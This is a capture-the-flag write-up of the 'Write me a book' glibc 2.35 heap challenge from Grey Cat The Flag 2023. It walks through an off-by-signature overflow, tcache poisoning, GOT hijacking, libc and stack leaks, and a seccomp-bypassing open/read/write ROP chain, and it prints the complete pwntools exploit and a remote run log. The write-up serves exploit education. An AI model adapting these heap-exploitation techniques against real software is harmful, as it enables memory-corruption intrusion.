# Write me a book
> Write me a Book>349>>Give back to the library! Share your thoughts and experiences!>>The flag can be found in /flag>>    Elma>>nc 34.124.157.94 12346 
Write me a book is a heap challenge I did during the [Grey Cat The Flag 2023 Qualifiers](https://nusgreyhats.org/). You can find the tasks and the exploit [here](https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook).
## TL;DR
To manage to read the flag we have to:- create overlapping chunks due to an oob write vulnerability in `rewrite_books`- tcache poisoning thanks to the overlapping chunks- Overwrite the first entry of `@books` to then be able to rewrite 4 entries of `@books` by setting a large size.- With the read / write primitives of `@books` we leak `&stdout@glibc` and `environ`, this way getting a libc and stack leak.- This way we can simply ROP over a given stackframe.
## General overview
Let's take a look at the protections and the version of the libc:```$ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.Copyright (C) 2022 Free Software Foundation, Inc.This is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.Compiled by GNU CC version 11.2.0.libc ABIs: UNIQUE IFUNC ABSOLUTEFor bug reporting instructions, please see:<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.$ checksec --file ./libc.so.6 [*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled```
So a very recent one with standards protections. Then let's take a look at the binary:```$ checksec --file chall[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/chall'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x3fd000)    RUNPATH:  b'/home/nasm/Documents/pwn/greycat/writemeabook/dist'$ seccomp-tools dump ./challWelcome to the library of hopes and dreams!
We heard about your journey...and we want you to share about your experiences!
What would you like your author signature to be?> aa
Great! We would like you to write no more than 10 books :)Please feel at home. line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0011: 0x06 0x00 0x00 0x00000000  return KILL```
The binary isn't PIE based and does have a seccomp that allows only `read`, `write`, `open` and `exit`. Which will make the exploitation harder (but not that much).
## Code review
The `main` looks like this:```cint __cdecl main(int argc, const char **argv, const char **envp){  setup(argc, argv, envp);  puts("Welcome to the library of hopes and dreams!");  puts("\nWe heard about your journey...");  puts("and we want you to share about your experiences!");  puts("\nWhat would you like your author signature to be?");  printf("> ");  LODWORD(author_signature) = ' yb';  __isoc99_scanf("%12s", (char *)&author_signature + 3);  puts("\nGreat! We would like you to write no more than 10 books :)");  puts("Please feel at home.");  secure_library();  write_books();  return puts("Goodbye!");}```We have to give a signature (12 bytes max) sorted in `author_signatures`, then the program is allocating a lot of chunks in `secure_library`. Finally it calls `write_books` which contains the main logic:```cunsigned __int64 write_books(){  int choice; // [rsp+0h] [rbp-10h] BYREF  int fav_num; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
  v3 = __readfsqword(0x28u);  while ( 1 )  {    while ( 1 )    {      print_menu();      __isoc99_scanf("%d", &choice);      getchar();      if ( choice != 1337 )        break;      if ( !secret_msg )      {        printf("What is your favourite number? ");        __isoc99_scanf("%d", &fav_num);        if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )          printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);        secret_msg = 1;      }LABEL_19:      puts("Invalid choice.");    }    if ( choice > 1337 )      goto LABEL_19;    if ( choice == 4 )      return v3 - __readfsqword(0x28u);    if ( choice > 4 )      goto LABEL_19;    switch ( choice )    {      case 3:        throw_book();        break;      case 1:        write_book();        break;      case 2:        rewrite_book();        break;      default:        goto LABEL_19;    }  }}```
There are basically three handlers:- `1337`, we can leak only one time the address of a given allocated chunk.- `4` returns.- `3` free a chunk.- `1` add a book.- `2` edit a book.
Let's take a quick look at each handler, first the free handler:```cunsigned __int64 throw_book(){  int v1; // [rsp+4h] [rbp-Ch] BYREF  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);  puts("\nAt which index of the shelf would you like to throw your book?");  printf("Index: ");  __isoc99_scanf("%d", &v1;;  getchar();  if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )  {    free(slot[2 * --v1]);    slot[2 * v1] = 0LL;    puts("Your book has been thrown!\n");  }  else  {    puts("Invaid slot!");  }  return v2 - __readfsqword(0x28u);}```It only checks is the entry exists and if the index is in the right range. if it does it frees the entry and zeroes it.
Then, the add handler:```cunsigned __int64 write_book(){  int idx2; // ebx  _QWORD *v1; // rcx  __int64 v2; // rdx  int idx; // [rsp+4h] [rbp-4Ch] BYREF  size_t size; // [rsp+8h] [rbp-48h]  char buf[32]; // [rsp+10h] [rbp-40h] BYREF  char v7; // [rsp+30h] [rbp-20h]  unsigned __int64 v8; // [rsp+38h] [rbp-18h]
  v8 = __readfsqword(0x28u);  puts("\nAt which index of the shelf would you like to insert your book?");  printf("Index: ");  __isoc99_scanf("%d", &idx);  getchar();  if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )  {    puts("Invaid slot!");  }  else  {    --idx;    memset(buf, 0, sizeof(buf));    v7 = 0;    puts("Write me a book no more than 32 characters long!");    size = read(0, buf, 0x20uLL) + 0x10;    idx2 = idx;    slot[2 * idx2] = malloc(size);    memcpy(slot[2 * idx], buf, size - 0x10);    v1 = (char *)slot[2 * idx] + size - 0x10;    v2 = qword_4040D8;    *v1 = *(_QWORD *)author_signature;    v1[1] = v2;    books[idx].size = size;    puts("Your book has been published!\n");  }  return v8 - __readfsqword(0x28u);}```We can allocate a chunk between `0x10` and `0x20 + 0x10` bytes and after we wrote in it the signature initially choose at the begin of the execution is put right after the end of the input.
Finally comes the handler where lies the vuln, the edit handler:```cunsigned __int64 rewrite_book(){  _QWORD *v0; // rcx  __int64 v1; // rdx  int idx; // [rsp+Ch] [rbp-14h] BYREF  ssize_t v4; // [rsp+10h] [rbp-10h]  unsigned __int64 v5; // [rsp+18h] [rbp-8h]
  v5 = __readfsqword(0x28u);  puts("\nAt which index of the shelf would you like to rewrite your book?");  printf("Index: ");  __isoc99_scanf("%d", &idx);  getchar();  if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )  {    --idx;    puts("Write me the new contents of your book that is no longer than what it was before.");    v4 = read(0, slot[2 * idx], books[idx].size);    v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);    v1 = qword_4040D8;    *v0 = author_signature;    v0[1] = v1;    puts("Your book has been rewritten!\n");  }  else  {    puts("Invaid slot!");  }  return v5 - __readfsqword(0x28u);}```As you can read there is an out of bound write if we input `books[idx].size` bytes, indeed given the chunk stores only `books[idx].size` bytes the signature writes over the current chunk. And most of the time on the header (and especially the size) of the next chunk allocated in memory resulting an overlapping chunk.
## Exploitation
Given we can get overlapping chunks we're able to do tcache poisoning on the `0x40` tcachebin (to deeply understand why I advice you to read the exploit and to run it into gdb). At this point we can simply write the first entry of `@books` that is stored at a fixed memory area within the binary (no PIE). In this new entry we could write a pointer to itself but with a large size in order to be able to write several entries of `@books`. When it is done we could write these entries:```py    edit(1, pwn.flat([            # 1==            0xff, # sz            exe.sym.stdout, # to leak libc            # 2==            0x8, # sz            exe.got.free, # to do GOT hiijacking            # 3==            0x8, # sz            exe.sym.secret_msg, # to be able to print an entry of @books            # 4==            0xff, # sz            exe.sym.books # ptr to itself to be able to rewrite the entries when we need to do so        ] + [0] * 0x60, filler = b"\x00"))```
This way we can easily leak libc.
## Leaking libc
Leaking libc is very easy given we already setup the entries of `@books`. We can replace `free@GOT` by `puts@plt`. This way the next time free will be called on an entry, it will leak the datas towards which the entry points. Which means `free(book[1])` leaks the address of stdout within the libc.```pySTDOUT = 0x21a780
# [...]
def libc_leak_free(idx):    io.sendlineafter(b"Option: ", b"3")    io.sendlineafter(b"Index: ", str(idx).encode())    return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT
# [...]
# libc leaklibc.address = libc_leak_free(1)pwn.log.success(f"libc: {hex(libc.address)}")```
## Leaking the stack
Leaking the libc is cool but given the binary has a seccomp we cannot write one_gadgets on `__malloc_hook` or `__free_hook` or within the GOT (of the libc or of the binary) because of the seccomp. We have to do a ROPchain, to do so we could use `setcontext` but for this libc it is made around `rdx` that we do not control. Or we could simply leak `environ` to get the address of a stackframe from which we could return. That's what we gonna do on the `rewrite_books` stackframe.```pydef leak_environ(idx):    io.sendlineafter(b"Option: ", b"3")    io.sendlineafter(b"Index: ", str(idx).encode())    return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))
# leak stack (environ)edit(4, pwn.flat([        # 1==        0xff, # sz        libc.sym.environ # target    ], filler = b"\x00"))
environ = leak_environ(1)pwn.log.success(f"environ: {hex(environ)}")
stackframe_rewrite = environ - 0x150pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")```
## ROPchain
Everything is ready for the ROPchain, we cannot use mprotect to use a shellcode within the seccomp forbids it. We just have to set the first entry to the stackframe we'd like to hiijack and that's it, then we just need call edit on this entry and the ROPchain is written and triggered at the return of the function!```pyrop = pwn.ROP(libc, base=stackframe_rewrite)
# setup the write to the rewrite stackframeedit(4, pwn.flat([        # 1==        0xff, # sz        stackframe_rewrite # target    ], filler = b"\x00"))
# ROPchainrop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # openrop.call(rop.find_gadget(["syscall", "ret"]))rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # writerop.call(rop.find_gadget(["syscall", "ret"]))rop.exit(0x1337)rop.raw(b"/flag\x00")
print(rop.dump())print(hex(len(rop.chain()) - 8))
# write and trigger the ROPchainedit(1, rop.chain())```
## PROFIT
Finally:```nasm@off:~/Documents/pwn/greycat/writemeabook/dist$ python3 exploit.py REMOTE HOST=34.124.157.94 PORT=12346[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/chall'                                                                                                     Arch:     amd64-64-little      RELRO:    Partial RELRO    Stack:    Canary found                                                                                                                     NX:       NX enabled    PIE:      No PIE (0x3fd000)                                                                                                                          RUNPATH:  b'/home/nasm/Documents/pwn/greycat/writemeabook/dist'                                       [*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6'                                Arch:     amd64-64-little                                                                                       RELRO:    Partial RELRO                                                                                                                    Stack:    Canary found                                                                                                                       NX:       NX enabled                                                                                                                            PIE:      PIE enabled                                                                                                                         [*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2'     Arch:     amd64-64-little                                                                            RELRO:    Partial RELRO                                                                                                                    Stack:    No canary found                                                                                                                    NX:       NX enabled                                                                                                                         PIE:      PIE enabled                                                                                                                         [+] Opening connection to 34.124.157.94 on port 12346: Done                                                                               [+] heap: 0x81a000                                                                                          [*] Encrypted fp: 0x40484d[+] libc: 0x7f162182f000                                                                                                                           [+] environ: 0x7ffe60582c98[+] stackframe_rewrite: 0x7ffe60582b48[*] Loaded 218 cached gadgets for '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6'0x7ffe60582b48:   0x7f1621874eb0 pop rax; ret                     0x7ffe60582b50:              0x2 SYS_open0x7ffe60582b58:   0x7f162185ae51 pop rsi; ret0x7ffe60582b60:              0x0 O_RDONLY0x7ffe60582b68:   0x7f16218593e5 pop rdi; ret0x7ffe60582b70:   0x7ffe60582c28 (+0xb8)0x7ffe60582b78:   0x7f16218c0396 syscall; ret0x7ffe60582b80:   0x7f16218bf528 pop rax; pop rdx; pop rbx; ret0x7ffe60582b88:              0x0 SYS_read0x7ffe60582b90:            0x1000x7ffe60582b98:      b'uaaavaaa' <pad rbx>0x7ffe60582ba0:   0x7f162185ae51 pop rsi; ret0x7ffe60582ba8:         0x81a0000x7ffe60582bb0:   0x7f16218593e5 pop rdi; ret0x7ffe60582bb8:              0x30x7ffe60582bc0:   0x7f16218c0396 syscall; ret0x7ffe60582bc8:   0x7f16218bf528 pop rax; pop rdx; pop rbx; ret0x7ffe60582bd0:              0x1 SYS_write0x7ffe60582bd8:            0x1000x7ffe60582be0:      b'naaboaab' <pad rbx>0x7ffe60582be8:   0x7f162185ae51 pop rsi; ret0x7ffe60582bf0:         0x81a0000x7ffe60582bf8:   0x7f16218593e5 pop rdi; ret0x7ffe60582c00:              0x10x7ffe60582c08:   0x7f16218c0396 syscall; ret0x7ffe60582c10:   0x7f16218593e5 pop rdi; ret0x7ffe60582c18:           0x1337 [arg0] rdi = 49190x7ffe60582c20:   0x7f16218745f0 exit0x7ffe60582c28:     b'/flag\x00' b'/flag\x00'0xde[*] Switching to interactive modeYour book has been rewritten!
grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb9\x81\x00\x00\x00\xb8\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb1\x81\x00\x00\x00\x00\x00\x00\x00\xc0\x81\x00\[*] Got EOF while reading in interactive$ exit$ [*] Closed connection to 34.124.157.94 port 12346[*] Got EOF while sending in interactive```
## Conclusion
That was a nice medium heap challenge, even though that was pretty classic. You can find the tasks and the exploit [here](https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook).
## Annexes
Final exploit (with comments):```py#!/usr/bin/env python# -*- coding: utf-8 -*-
# this exploit was generated via# 1) pwntools# 2) ctfmate
import osimport timeimport pwn
BINARY = "chall"LIBC = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6"LD = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architectureexe = pwn.context.binary = pwn.ELF(BINARY)libc = pwn.ELF(LIBC)ld = pwn.ELF(LD)pwn.context.terminal = ["tmux", "splitw", "-h"]pwn.context.delete_corefiles = Truepwn.context.rename_corefiles = Falsep64 = pwn.p64u64 = pwn.u64p32 = pwn.p32u32 = pwn.u32p16 = pwn.p16u16 = pwn.u16p8  = pwn.p8u8  = pwn.u8
host = pwn.args.HOST or '127.0.0.1'port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw):    '''Execute the target binary locally'''    if pwn.args.GDB:        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    else:        return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):    '''Connect to the process on the remote host'''    io = pwn.connect(host, port)    if pwn.args.GDB:        pwn.gdb.attach(io, gdbscript=gdbscript)    return io
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if pwn.args.LOCAL:        return local(argv, *a, **kw)    else:        return remote(argv, *a, **kw)
gdbscript = '''source /home/nasm/Downloads/pwndbg/gdbinit.py'''.format(**locals())
HEAP_OFFT = 0x3d10CHUNK3_OFFT = 0x3d50STDOUT = 0x21a780
def encode_ptr(heap, offt, value):    return ((heap + offt) >> 12) ^ value
import subprocessdef one_gadget(filename):  return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
def exp():
    io = start()
    def init(flip):        io.sendlineafter(b"> ", flip)     def add(idx, data: bytes):        io.sendlineafter(b"Option: ", b"1")        io.sendlineafter(b"Index: ", str(idx).encode())        io.sendlineafter(b"Write me a book no more than 32 characters long!\n", data)
    def edit(idx, data):        io.sendlineafter(b"Option: ", b"2")        io.sendlineafter(b"Index: ", str(idx).encode())        io.sendlineafter(b"Write me the new contents of your book that is no longer than what it was before.\n", data)
    def free(idx):        io.sendlineafter(b"Option: ", b"3")        io.sendlineafter(b"Index: ", str(idx).encode())
    def heapLeak(idx):        io.sendlineafter(b"Option: ", b"1337")        io.sendlineafter(b"What is your favourite number? ", str(idx).encode())        io.recvuntil(b"You found a secret message: ")        return int(io.recvline().replace(b"\n", b"").decode(), 16) - HEAP_OFFT
    def enable_print(idx):        edit(idx, b"".join([            pwn.p64(0)        ]))
    def libc_leak_free(idx):        io.sendlineafter(b"Option: ", b"3")        io.sendlineafter(b"Index: ", str(idx).encode())        return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT
    def leak_environ(idx):        io.sendlineafter(b"Option: ", b"3")        io.sendlineafter(b"Index: ", str(idx).encode())        return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))
    init(b"m"*4 + pwn.p8(0x41))
    add(1, b"K"*0x10)    heap_leak = heapLeak(1)    pwn.log.success(f"heap: {hex(heap_leak)}")
    # victim    add(2, b"")    add(3, b"".join([   b"A"*0x10,                        pwn.p64(0), # prev_sz                        pwn.p64(0x21) # fake size                    ]))     add(4, b"".join([   b"A"*0x10,                        pwn.p64(0), # prev_sz                        pwn.p64(0x21) # fake size                    ]))    free(4) # count for 0x40 tcachebin = 1
    # chunk2 => sz extended    edit(1, b"K"*0x20)    # chunk2 => tcachebin 0x40, count = 2    free(2)
    # oob write over chunk3, we keep valid header    add(2, b"".join([   pwn.p64(0)*3,                        pwn.p64(0x41) # valid size to end up in the 0x40 tcache bin                    ])) # count = 1
    # chunk3 => 0x40 tcachebin, count = 2    free(3)
 pwn.log.info(f"Encrypted fp: {hex(encode_ptr(heap_leak, CHUNK3_OFFT, exe.got.printf))}")
    # tcache poisoning    edit(2, b"".join([   pwn.p64(0)*3,                         pwn.p64(0x41), # valid size                         pwn.p64(encode_ptr(heap_leak, CHUNK3_OFFT, exe.sym.books)) # forward ptr                     ]))
    # dumb    add(3, b"A"*0x20) # count = 1
    # arbitrary write to @books, this way books[1] is user controlled    add(4, b"".join([        pwn.p64(0x1000), # sz        pwn.p64(exe.sym.books), # target        b"P"*0x10    ])) # count = 0
    # we can write way more due to the previous call    edit(1, pwn.flat([            # 1==            0xff, # sz            exe.sym.stdout, # target            # 2==            0x8, # sz            exe.got.free, # target            # 3==            0x8, # sz            exe.sym.secret_msg, # target            # 4==            0xff, # sz            exe.sym.books # target        ] + [0] * 0x60, filler = b"\x00"))     # free@got => puts    edit(2, b"".join([            pwn.p64(exe.sym.puts)        ]))     # can print = true    enable_print(3)
    # libc leak    libc.address = libc_leak_free(1)    pwn.log.success(f"libc: {hex(libc.address)}")
    # leak stack (environ)    edit(4, pwn.flat([            # 1==            0xff, # sz            libc.sym.environ # target        ], filler = b"\x00"))
    environ = leak_environ(1)    pwn.log.success(f"environ: {hex(environ)}")
    stackframe_rewrite = environ - 0x150    pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")
    rop = pwn.ROP(libc, base=stackframe_rewrite)
    # setup the write to the rewrite stackframe    edit(4, pwn.flat([            # 1==            0xff, # sz            stackframe_rewrite # target        ], filler = b"\x00"))
    # ROPchain    rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open    rop.call(rop.find_gadget(["syscall", "ret"]))    rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...    rop.call(rop.find_gadget(["syscall", "ret"]))
    rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write    rop.call(rop.find_gadget(["syscall", "ret"]))    rop.exit(0x1337)    rop.raw(b"/flag\x00")
    print(rop.dump())    print(hex(len(rop.chain()) - 8))
    # write and trigger the ROPchain    edit(1, rop.chain())     io.interactive()
if __name__ == "__main__":    exp()```